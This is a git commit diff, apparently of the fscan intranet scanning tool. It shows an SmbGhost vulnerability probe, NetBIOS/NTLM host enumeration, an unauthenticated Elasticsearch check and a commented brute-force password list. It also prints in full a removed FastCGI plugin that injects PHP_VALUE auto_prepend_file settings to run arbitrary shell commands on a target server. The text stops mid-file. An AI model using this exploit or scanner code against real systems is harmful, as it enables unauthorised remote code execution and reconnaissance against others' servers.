7 Commits
Author SHA1 Message Date
shadow1ng f8b4273fc0 update 2020-11-14 00:29:26 +08:00
shadow1ng 5032544bbb update 2020-11-14 00:28:12 +08:00
shadow1ng f89feaf89f update 2020-11-14 00:27:55 +08:00
shadow1ng 58ae604eea update 2020-11-13 23:57:38 +08:00
shadow1ng 83700540f5 update 2020-11-13 23:13:12 +08:00
shadow1ng 1598de6ce0 update 2020-11-13 23:10:08 +08:00
影舞者 8d1b44e82b Initial commit 2020-11-13 23:05:55 +08:00
437 changed files with 1401 additions and 54825 deletions
-73
View File
@@ -1,73 +0,0 @@
before:
hooks:
- go mod tidy
- go generate ./...
builds:
- id: "with-upx"
env:
- CGO_ENABLED=0
goos:
- linux
- windows
- darwin
goarch:
- amd64
- arm64
- arm
- "386"
goarm:
- "6"
- "7"
flags:
- -trimpath
ldflags:
- -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{ .CommitDate }} -X main.builtBy=goreleaser
ignore:
- goos: windows
goarch: arm64
- goos: windows
goarch: arm
- goos: linux
goarch: mips64
hooks:
post: upx --best -f -q "{{ .Path }}"
# UnknownExecutableFormatException
# CantPackException: can't pack new-exe
- id: "without-upx"
env:
- CGO_ENABLED=0
goos:
- linux
- windows
goarch:
- mips64
- arm
goarm:
- "6"
- "7"
flags:
- -trimpath
ldflags:
- -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{ .CommitDate }} -X main.builtBy=goreleaser
ignore:
- goos: linux
goarch: arm
archives:
- replacements:
darwin: Darwin
linux: Linux
windows: Windows
386: i386
amd64: x86_64
checksum:
name_template: 'checksums.txt'
snapshot:
name_template: "{{ incpatch .Version }}-next"
changelog:
sort: asc
filters:
exclude:
- '^docs:'
- '^test:'
-35
View File
@@ -1,35 +0,0 @@
name: goreleaser
on:
push:
tags:
- '*'
permissions:
contents: write
jobs:
goreleaser:
runs-on: ubuntu-latest
timeout-minutes: 60
steps:
-
name: Checkout
uses: actions/checkout@v2
with:
fetch-depth: 0
-
name: Set up Go
uses: actions/setup-go@v2
with:
go-version: 1.17
-
name: Run GoReleaser
uses: goreleaser/goreleaser-action@v2
with:
distribution: goreleaser
version: latest
args: -f .github/conf/.goreleaser.yml
workdir: .
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-21
View File
@@ -1,21 +0,0 @@
MIT License
Copyright (c) 2021 shadow1ng
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+106 -110
View File
@@ -1,133 +1,129 @@
package Plugins
//Ladon Scanner for golang
//Author: k8gege
//K8Blog: http://k8gege.org
//Github: https://github.com/k8gege
import (
"../common"
"bytes"
"fmt"
"net"
"sync"
"time"
"github.com/shadow1ng/fscan/common"
)
const (
pkt = "\x00" + // session
"\x00\x00\xc0" + // legth
pkt =
"\x00" + // session
"\x00\x00\xc0"+ // legth
"\xfeSMB@\x00" + // protocol
"\xfeSMB@\x00"+ // protocol
//[MS-SMB2]: SMB2 NEGOTIATE Request
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
//[MS-SMB2]: SMB2 NEGOTIATE Request
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x1f\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x1f\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
"$\x00" +
"\x08\x00" +
"\x01\x00" +
"\x00\x00" +
"\x7f\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"x\x00" +
"\x00\x00" +
"\x02\x00" +
"\x00\x00" +
"\x02\x02" +
"\x10\x02" +
"\x22\x02" +
"$\x02" +
"\x00\x03" +
"\x02\x03" +
"\x10\x03" +
"\x11\x03" +
"\x00\x00\x00\x00" +
"$\x00" +
"\x08\x00" +
"\x01\x00" +
"\x00\x00" +
"\x7f\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"x\x00" +
"\x00\x00" +
"\x02\x00" +
"\x00\x00" +
"\x02\x02" +
"\x10\x02" +
"\x22\x02" +
"$\x02" +
"\x00\x03" +
"\x02\x03" +
"\x10\x03" +
"\x11\x03" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
"\x01\x00" +
"&\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" +
"\x20\x00" +
"\x01\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00" +
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
"\x01\x00" +
"&\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" +
"\x20\x00" +
"\x01\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00" +
"\x03\x00" +
"\x0e\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" + //CompressionAlgorithmCount
"\x00\x00" +
"\x01\x00\x00\x00" +
"\x01\x00" + //LZNT1
"\x00\x00" +
"\x00\x00\x00\x00"
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
"\x03\x00" +
"\x0e\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" + //CompressionAlgorithmCount
"\x00\x00" +
"\x01\x00\x00\x00" +
"\x01\x00" + //LZNT1
"\x00\x00" +
"\x00\x00\x00\x00"
)
func SmbGhost(info *common.HostInfo) error {
if common.IsBrute {
return nil
}
err := SmbGhostScan(info)
return err
func SmbGhost(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
SmbGhostScan(info)
wg.Done()
<- ch
}
func SmbGhostScan(info *common.HostInfo) error {
ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second
addr := fmt.Sprintf("%s:%v", info.Host, port)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
defer func() {
if conn != nil {
conn.Close()
func SmbGhostScan(info *common.HostInfo) {
ip,port,timeout := info.Host,445,time.Duration(info.Timeout)*time.Second
addr:=fmt.Sprintf("%s:%d",info.Host,port)
conn, err := net.DialTimeout("tcp", addr, timeout)
if err != nil {
return
} else {
conn.Write([]byte(pkt))
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(timeout))
n, err := conn.Read(buff)
if err != nil {
return
}else {
defer conn.Close()
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable",ip)
common.LogSuccess(result)
}
}
}()
if err != nil {
return err
}
_, err = conn.Write([]byte(pkt))
if err != nil {
return err
}
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(timeout))
n, err := conn.Read(buff)
if err != nil {
return err
}
if bytes.Contains(buff[:n], []byte("Public")) == true {
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result)
}
return err
}
-289
View File
@@ -1,289 +0,0 @@
package Plugins
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strconv"
"strings"
"time"
)
var (
UNIQUE_NAMES = map[string]string{
"\x00": "Workstation Service",
"\x03": "Messenger Service",
"\x06": "RAS Server Service",
"\x1F": "NetDDE Service",
"\x20": "Server Service",
"\x21": "RAS Client Service",
"\xBE": "Network Monitor Agent",
"\xBF": "Network Monitor Application",
"\x1D": "Master Browser",
"\x1B": "Domain Master Browser",
}
GROUP_NAMES = map[string]string{
"\x00": "Domain Name",
"\x1C": "Domain Controllers",
"\x1E": "Browser Service Elections",
}
NetBIOS_ITEM_TYPE = map[string]string{
"\x01\x00": "NetBIOS computer name",
"\x02\x00": "NetBIOS domain name",
"\x03\x00": "DNS computer name",
"\x04\x00": "DNS domain name",
"\x05\x00": "DNS tree name",
"\x07\x00": "Time stamp",
}
)
type NbnsName struct {
unique string
group string
msg string
osversion string
}
func NetBIOS(info *common.HostInfo) error {
nbname, err := NetBIOS1(info)
var msg, isdc string
if strings.Contains(nbname.msg, "Domain Controllers") {
isdc = "[+]DC"
}
msg += fmt.Sprintf("[*] %-15s%-5s %s\\%-15s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
if common.Scantype == "netbios" {
msg += "\n-------------------------------------------\n" + nbname.msg
}
if len(nbname.group) > 0 || len(nbname.unique) > 0 {
common.LogSuccess(msg)
}
return err
}
func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) {
nbname, err = GetNbnsname(info)
var payload0 []byte
if err == nil {
name := netbiosEncode(nbname.unique)
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
payload0 = append(payload0, name...)
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return
}
if info.Ports == "139" && len(payload0) > 0 {
_, err1 := conn.Write(payload0)
if err1 != nil {
return
}
_, err1 = readbytes(conn)
if err1 != nil {
return
}
}
payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00")
_, err = conn.Write(payload1)
if err != nil {
return
}
_, err = readbytes(conn)
if err != nil {
return
}
_, err = conn.Write(payload2)
if err != nil {
return
}
ret, err := readbytes(conn)
if err != nil || len(ret) < 45 {
return
}
num1, err := bytetoint(ret[43:44][0])
if err != nil {
return
}
num2, err := bytetoint(ret[44:45][0])
if err != nil {
return
}
length := num1 + num2*256
if len(ret) < 48+length {
return
}
os_version := ret[47+length:]
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
msg1 := string(tmp1[:len(tmp1)-1])
nbname.osversion = msg1
index1 := strings.Index(msg1, "|")
if index1 > 0 {
nbname.osversion = nbname.osversion[:index1]
}
nbname.msg += "-------------------------------------------\n"
nbname.msg += msg1 + "\n"
start := bytes.Index(ret, []byte("NTLMSSP"))
if len(ret) < start+45 {
return
}
num1, err = bytetoint(ret[start+40 : start+41][0])
if err != nil {
return
}
num2, err = bytetoint(ret[start+41 : start+42][0])
if err != nil {
return
}
length = num1 + num2*256
num1, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}
offset, err := bytetoint(ret[start+44 : start+45][0])
if err != nil || len(ret) < start+offset+length {
return
}
index := start + offset
for index < start+offset+length {
item_type := ret[index : index+2]
num1, err = bytetoint(ret[index+2 : index+3][0])
if err != nil {
return
}
num2, err = bytetoint(ret[index+3 : index+4][0])
if err != nil {
return
}
item_length := num1 + num2*256
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
index += 4 + item_length
if string(item_type) == "\x07\x00" {
//Time stamp, 暂时不想处理
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
nbname.msg += fmt.Sprintf("%-22s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
} else if string(item_type) == "\x00\x00" {
break
} else {
nbname.msg += fmt.Sprintf("Unknown: %s\n", string(item_content))
}
}
return nbname, err
}
func GetNbnsname(info *common.HostInfo) (nbname NbnsName, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
realhost := fmt.Sprintf("%s:%v", info.Host, 137)
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return
}
_, err = conn.Write(senddata1)
if err != nil {
return
}
text, err := readbytes(conn)
if err != nil {
return
}
if len(text) < 57 {
return nbname, fmt.Errorf("no names available")
}
num, err := bytetoint(text[56:57][0])
if err != nil {
return
}
data := text[57:]
var msg string
for i := 0; i < num; i++ {
if len(data) < 18*i+16 {
break
}
name := string(data[18*i : 18*i+15])
flag_bit := data[18*i+15 : 18*i+16]
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
name_flags := data[18*i+16 : 18*i+18][0]
if name_flags >= 128 {
nbname.group = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
} else {
nbname.unique = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
}
} else {
msg += fmt.Sprintf("%s \n", name)
}
}
nbname.msg += msg
return
}
func readbytes(conn net.Conn) (result []byte, err error) {
buf := make([]byte, 4096)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result = append(result, buf[0:count]...)
if count < 4096 {
break
}
}
return result, err
}
func bytetoint(text byte) (int, error) {
num1 := fmt.Sprintf("%v", text)
num, err := strconv.Atoi(num1)
return num, err
}
func netbiosEncode(name string) (output []byte) {
var names []int
src := fmt.Sprintf("%-16s", name)
for _, a := range src {
char_ord := int(a)
high_4_bits := char_ord >> 4
low_4_bits := char_ord & 0x0f
names = append(names, high_4_bits, low_4_bits)
}
for _, one := range names {
out := (one + 0x41)
output = append(output, byte(out))
}
return
}
+48 -18
View File
@@ -1,22 +1,52 @@
package Plugins
var PluginList = map[string]interface{}{
"21": FtpScan,
"22": SshScan,
"135": Findnet,
"139": NetBIOS,
"445": SmbScan,
"1433": MssqlScan,
"1521": OracleScan,
"3306": MysqlScan,
"3389": RdpScan,
"5432": PostgresScan,
"6379": RedisScan,
"9000": FcgiScan,
"11211": MemcachedScan,
"27017": MongodbScan,
"1000001": MS17010,
"1000002": SmbGhost,
"1000003": WebTitle,
"10000031": WebTitle,
"21": FtpScan,
"22": SshScan,
"135": Findnet,
"445": SmbScan,
"1433":MssqlScan,
"3306": MysqlScan,
"5432": PostgresScan,
"6379": RedisScan,
"9200":elasticsearchScan,
"11211":MemcachedScan,
"27017":MongodbScan,
"1000001": MS17010,
"1000002": SmbGhost,
//"WebTitle":WebTitle,
}
//var Passwords = []string{"admin123A","123456","admin","root","password","123123","123","1","{user}","{user}{user}","{user}1","{user}123","{user}2016","{user}2015","{user}!","","P@ssw0rd!!","qwa123","12345678","test","123qwe!@#","123456789","123321","1314520","666666","woaini","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1q2w3e4r","123qwe","p@ssw0rd","p@55w0rd","password!","p@ssw0rd!","password1","r00t","tomcat","apache","system","huawei","admin123","zte"}
//const Username = "admin"
//const Password = "123456"
//const Timeout = 3 * time.Second
//const FTPPORT = 21
//const SSHPORT = 22
//const MEMCACHEDPORT = 11211
//const MONGODBPORT = 27017
//const MSSQLPORT = 1433
//const OraclePORT = 1433
//const PSQLPORT = 5432
//const REDISPORT = 6379
//const MYSQLPORT = 3306
//const SMBPORT = 445
//const POSTGRESPORT = 5432
//var PluginList = map[string]interface{}{
// "ftp": FtpScan,
// "mysql": MysqlScan,
// //"mongodb":MgoConn,
// "mssql":MssqlScan,
// "redis": RedisScan,
// //"smb": SmbScan,
// "ssh": SshScan,
// //"portscan": PortConn,
// //"icmp": IcmpConn,
// "postgresql": PostgresScan,
// //"urlscan":UrlConn,
// //"auth":ApacheConn,
// //"subdomain":SDConn,
// //"memcached":MemConn,
//}
+71
View File
@@ -0,0 +1,71 @@
package Plugins
import (
"../common"
"fmt"
"io/ioutil"
"net"
"net/http"
"strings"
"sync"
"time"
)
func elasticsearchScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
geturl2(info)
wg.Done()
<-ch
}
func geturl2(info *common.HostInfo) (flag bool,err error) {
flag = false
url := fmt.Sprintf("%s:%d/_cat",info.Url,common.PORTList["elastic"])
var client = &http.Client{
Transport:&http.Transport{
DialContext:(&net.Dialer{
Timeout:time.Duration(info.Timeout)*time.Second,
}).DialContext,
},
CheckRedirect:func(req *http.Request, via []*http.Request) error{
return http.ErrUseLastResponse
},
}
res,err:=http.NewRequest("GET",url,nil)
if err==nil{
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Add("Accept","*/*")
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
res.Header.Add("Accept-Encoding","gzip, deflate")
res.Header.Add("Connection","close")
resp,err:=client.Do(res)
if err==nil{
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body),"/_cat/master"){
result := fmt.Sprintf("Elastic:%s unauthorized",url)
common.LogSuccess(result)
flag = true
}
}
}
return flag,err
//fmt.Print("\n")
}
//if info.Cookie!=""{
// res.Header.Add("Cookie",info.Cookie)
//}
//if info.Header!=""{
// var header = make(map[string]string)
// err:=json.Unmarshal([]byte(info.Header),&header)
// if err!=nil{
// Misc.CheckErr(err)
// }
// for k,v:=range header{
// res.Header.Add(k,v)
// }
//}
-372
View File
@@ -1,372 +0,0 @@
package Plugins
import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"io"
"strconv"
"strings"
"sync"
"time"
)
//links
//https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits
func FcgiScan(info *common.HostInfo) {
if common.IsBrute {
return
}
url := "/etc/issue"
if common.Path != "" {
url = common.Path
}
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n"
switch {
case common.Command == "read":
reqParams = ""
case common.Command != "":
reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
default:
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
}
env := make(map[string]string)
env["SCRIPT_FILENAME"] = url
env["DOCUMENT_ROOT"] = "/"
env["SERVER_SOFTWARE"] = "go / fcgiclient "
env["REMOTE_ADDR"] = "127.0.0.1"
env["SERVER_PROTOCOL"] = "HTTP/1.1"
if len(reqParams) != 0 {
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
} else {
env["REQUEST_METHOD"] = "GET"
}
fcgi, err := New(addr, common.Timeout)
defer func() {
if fcgi.rwc != nil {
fcgi.rwc.Close()
}
}()
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
}
stdout, stderr, err := fcgi.Request(env, reqParams)
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
}
//1
//Content-type: text/html
//
//uid=1001(www) gid=1001(www) groups=1001(www)
//2
//Status: 404 Not Found
//Content-type: text/html
//
//File not found.
//Primary script unknown
//3
//Status: 403 Forbidden
//Content-type: text/html
//
//Access denied.
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
var result string
var output = string(stdout)
if strings.Contains(string(stdout), cutLine) { //命令成功回显
output = strings.SplitN(string(stdout), cutLine, 2)[0]
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
}
common.LogSuccess(result)
} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
}
common.LogSuccess(result)
}
}
// for padding so we don't have to allocate all the time
// not synchronized because we don't care what the contents are
var pad [maxPad]byte
const (
FCGI_BEGIN_REQUEST uint8 = iota + 1
FCGI_ABORT_REQUEST
FCGI_END_REQUEST
FCGI_PARAMS
FCGI_STDIN
FCGI_STDOUT
FCGI_STDERR
)
const (
FCGI_RESPONDER uint8 = iota + 1
)
const (
maxWrite = 6553500 // maximum record body
maxPad = 255
)
type header struct {
Version uint8
Type uint8
Id uint16
ContentLength uint16
PaddingLength uint8
Reserved uint8
}
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
h.Version = 1
h.Type = recType
h.Id = reqId
h.ContentLength = uint16(contentLength)
h.PaddingLength = uint8(-contentLength & 7)
}
type record struct {
h header
buf [maxWrite + maxPad]byte
}
func (rec *record) read(r io.Reader) (err error) {
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
return err
}
if rec.h.Version != 1 {
return errors.New("fcgi: invalid header version")
}
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
return err
}
return nil
}
func (r *record) content() []byte {
return r.buf[:r.h.ContentLength]
}
type FCGIClient struct {
mutex sync.Mutex
rwc io.ReadWriteCloser
h header
buf bytes.Buffer
keepAlive bool
}
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
fcgi = &FCGIClient{
rwc: conn,
keepAlive: false,
}
return
}
func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
this.mutex.Lock()
defer this.mutex.Unlock()
this.buf.Reset()
this.h.init(recType, reqId, len(content))
if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
return err
}
if _, err := this.buf.Write(content); err != nil {
return err
}
if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
return err
}
_, err = this.rwc.Write(this.buf.Bytes())
return err
}
func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
b := [8]byte{byte(role >> 8), byte(role), flags}
return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
}
func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
b := make([]byte, 8)
binary.BigEndian.PutUint32(b, uint32(appStatus))
b[4] = protocolStatus
return this.writeRecord(FCGI_END_REQUEST, reqId, b)
}
func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(this, recType, reqId)
b := make([]byte, 8)
for k, v := range pairs {
n := encodeSize(b, uint32(len(k)))
n += encodeSize(b[n:], uint32(len(v)))
if _, err := w.Write(b[:n]); err != nil {
return err
}
if _, err := w.WriteString(k); err != nil {
return err
}
if _, err := w.WriteString(v); err != nil {
return err
}
}
w.Close()
return nil
}
func readSize(s []byte) (uint32, int) {
if len(s) == 0 {
return 0, 0
}
size, n := uint32(s[0]), 1
if size&(1<<7) != 0 {
if len(s) < 4 {
return 0, 0
}
n = 4
size = binary.BigEndian.Uint32(s)
size &^= 1 << 31
}
return size, n
}
func readString(s []byte, size uint32) string {
if size > uint32(len(s)) {
return ""
}
return string(s[:size])
}
func encodeSize(b []byte, size uint32) int {
if size > 127 {
size |= 1 << 31
binary.BigEndian.PutUint32(b, size)
return 4
}
b[0] = byte(size)
return 1
}
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
// Closed.
type bufWriter struct {
